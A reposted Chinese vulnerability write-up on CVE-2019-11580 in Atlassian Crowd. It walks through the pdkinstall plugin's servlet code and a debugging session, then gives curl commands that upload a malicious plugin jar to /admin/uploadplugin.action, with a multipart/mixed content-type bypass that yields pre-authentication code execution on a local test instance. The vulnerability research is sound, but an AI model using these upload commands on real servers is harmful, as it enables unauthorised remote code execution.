励志鸡汤:新手视角分析Atlassian Crowd RCE – CVE-2019-11580
2019-07-19 12:15:35 Author: www.4hou.com(查看原文) 阅读量:95 收藏

简介

Atlassian Crowd是Atlassian旗下的主要产品之一,Crowd是一个单点登录和用户身份管理工具,容易使用、管理方便并且可集成自己的插件进行扩展,另外在Crowd平台上能够管理全部应用程序的访问权限 – Atlassian、Subversion、Google应用、或者自己开发的应用程序。

从获取到的信息中得知,攻击目标使用的是Crowd较早的版本。通过Google检索相关信息看是否存在相关漏洞,从官方修复报告中发现,之前存在着pdkinstall开发插件错误启用导致远程代码执行的漏洞(CVE-2019-11580) 

61194533-a7441a00-a6f4-11e9-8e9d-f74e1c75899a.png

根据这一信息再进行搜索,没能找到关于该漏洞的相关POC,于是我决定进行分析之后,自己写一个POC出来。

分析

首先我们就找到pdkinstall-plugin,并将其克隆到本地机器

[email protected]:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.

从Atlassian开发者文档中了解到,插件都会有一份描述文件,于是果断在**./main/resources/atlassian-plugin.xml**找到了该插件的描述文件

<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
    <version>${project.version}</version>
    <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>
<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
    <url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>
<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
    location="before-decoration">
    <url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>
<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>

可以看到Java servlet class com.atlassian.pdkinstall.PdkInstallFilter被调用来访问**/admin/uploadplugin.action**。我们已经得知该漏洞可通过安装任意插件以达成远程代码执行,所以接下来应该去口口PdkInstallFilter servlet的源代码。

说干就干,将pdkinstall-plugin导入进IntelliJ以便更全面的阅读源代码,这里我们就从doFilter()方法入手。

阅读代码,如果这个地方请求的方式不是POST,代码将会退出并返回一个错误

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
if (!req.getMethod().equalsIgnoreCase("post"))
{
    res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
    return;
}

接下来代码会继续判断POST请求中是否包含multipart数据,有关multipart的介绍可以看看《深入解析 multipart/form-data》。如果包含multipart就调用extractJar()方法,从发送请求包中提取jar。除此之外,代码会调用buildJarFromFiles()方法,尝试着依据请求中的数据构建一个插件jar文件。

// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
    tmp = extractJar(req, res, tmp);
}
else
{
    tmp = buildJarFromFiles(req);
}

好了,从现在开始将目光聚集到extractJar()方法

private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
    // Create a new file upload handler
    ServletFileUpload upload = new ServletFileUpload(factory);
    // Parse the request
    try {
        List<FileItem> items = upload.parseRequest(req);
        for (FileItem item : items)
        {
            if (item.getFieldName().startsWith("file_") && !item.isFormField())
            {
                tmp = File.createTempFile("plugindev-", item.getName());
                tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                item.write(tmp);
            }
        }
    } catch (FileUploadException e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
    } catch (Exception e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
    }
    return tmp;
}

首先它会实例化一个新的ServletFileUpload对象,然后调用parseRequest()方法来解析HTTP请求。此方法被用来处理HTTP请求中的multipart / form-data数据流,并将FileItems作为列表传递给items变量。

对于FileItems列表中的每个item,如果字段名以file_开头且并非HTML表单字段(form field)需要上传的文件会被作为临时文件写入硬盘。如果这个过程失败,tmp变量则为null;如果成功tmp变量则包含成功写入文件的路径。接下来把关注点移回doFilter方法

if (tmp != null)
{
    List<String> errors = new ArrayList<String>();
    try
    {
        errors.addAll(pluginInstaller.install(tmp));
    }
    catch (Exception ex)
    {
        log.error(ex);
        errors.add(ex.getMessage());
    }
    tmp.delete();
    if (errors.isEmpty())
    {
        res.setStatus(HttpServletResponse.SC_OK);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
    }
    else
    {
        res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Unable to install plugin:");
        for (String err : errors)
        {
            servletResponse.getWriter().println("\t - " + err);
        }
    }
    servletResponse.getWriter().close();
    return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");

如果成功执行extractJar(),变量tmp则不会被设定为null。应用会尝试执行pluginInstaller.install()方法来安装插件,并捕获该执行过程中发生多所有错误。如果该过程中没有发生任何错误,服务端响应代码为200 OK,那么就说明插件已成功安装。如果服务端返回400 Bad Request,并显示“Unable to install plugin”信息,那么安装就失败了。

另外,如果extractJar()方法初始化失败,tmp变量将会被设定为null,服务端响应码为400 Bad Request,并显示“Missing plugin file”

至此我们已搞清servlet后端,以及可能出现的各类请求,let’s try to exploit it!

失败的第一次

使用Atlassian SDK搭建一个实例,并保证可以通过访问http://localhost:4990/crowd/admin/uploadplugin.action调用pdkinstall插件

不出意外的话,服务端会返回400 Bad Request 

61208166-5c90c500-a729-11e9-9465-137a91125a08.png

现在利用我们以及掌握的信息,尝试上传一个标准插件。我选择使用Atlassian自带插件applinks-plugin,你可以通过链接获取编译好的jar文件。

目前已知信息:servlet需要一个包含multipart数据,且multipart数据包含的文件前缀为file_的POST请求。完成这个步骤只需使用cURL’s –form就行

[email protected]:~# curl --form "[email protected]" 
http://localhost:4990/crowd/admin/uploadplugin.action -v

61209176-9793f800-a72b-11e9-959d-ffb331792334.png

从返回结果得知,插件已成功安装。所以,我们可以开始制作并安装自己的插件包了?

我制作的这个恶意插件可以到GitHub查看

那么就编译,然后上传吧~

[email protected]:~# ./compile.sh
[email protected]:~# curl --form "[email protected]" http://localhost:8095/crowd/admin/uploadplugin.action -v

61209399-391b4980-a72c-11e9-8c38-9ab4b046ec0c (1).png

从响应信息中得知我们失败了。400 Bad Request,伴着“Missing plugin file”信息,我们得承认失败!

早先我们就已经知道返回“Missing plugin file”消息,代表着变量tmp的值为null。这个问题怎么造成的呢?老铁们,debugger走一波

调试

将pdkinstall-plugin导入进IntelliJ,同时打开用于处理上传操作的PdkInstallFilter.java的servlet接口,对Crowd实例进行调试。

彼时,我脑中第一个想法便是问题出在ServletFileUpload.isMultipartContent(req)方法,于是在该处设了一个断点。之后再次上传恶意插件,我们可以看到它正常工作,服务器将其作为multipart信息处理:

61210910-90bbb400-a730-11e9-8de9-df0c4e755986.png

难道问题出在extractJar()?立马对该方法进行调试,并逐行设置断点以便找出问题的关键,设置完之后,再上传一次:

61212013-98c92300-a733-11e9-9486-b0c9ec34edec.png

可以看到upload.parseRequest(req)方法返回一个空的数组,因为变量items为空,它就跳过了for循环并将结果返回给被设置为null的tmp变量

我花了很多时间来思考这个问题产生的原因,但始终没能找出问题根本原因,但现在咱们只需要关心RCE就好!

如果我将multipart/form-data改变为其他的multipart编码会发生什么呢?拭目以待

第二次尝试

这次我决定使用multipart/mixed方式来上传恶意插件,或许会有惊喜呢?

curl -k -H "Content-Type: multipart/mixed" \
  --form "[email protected]" http://localhost:4990/crowd/admin/uploadplugin.action

从返回结果中确认我们已经成功了,这一刻应该伴有掌声!

61212223-2e64b280-a734-11e9-8913-00204a3e903b.png

在Web端调用恶意插件 

61212367-a7fca080-a734-11e9-9e3a-a3671b09389c.png

至此,我们获得了一个Atlassian Crowd拥有预授权的远程代码执行

启介有话说

从信息收集到最后的成功获得RCE,其中少不了从漏洞赏金计划中获取的相关信息,但更为关键的是原作者不惧怕、敢于挑战新鲜事物的决心。

在此之前,他不懂Java,没有过调试经验,就靠自己一次次的尝试,最终获得成功!

Try new things, do your research, and struggle – it’s a huge part of the learning process!


文章来源: https://www.4hou.com/vulnerable/19223.html
如有侵权请联系:admin#unsafe.sh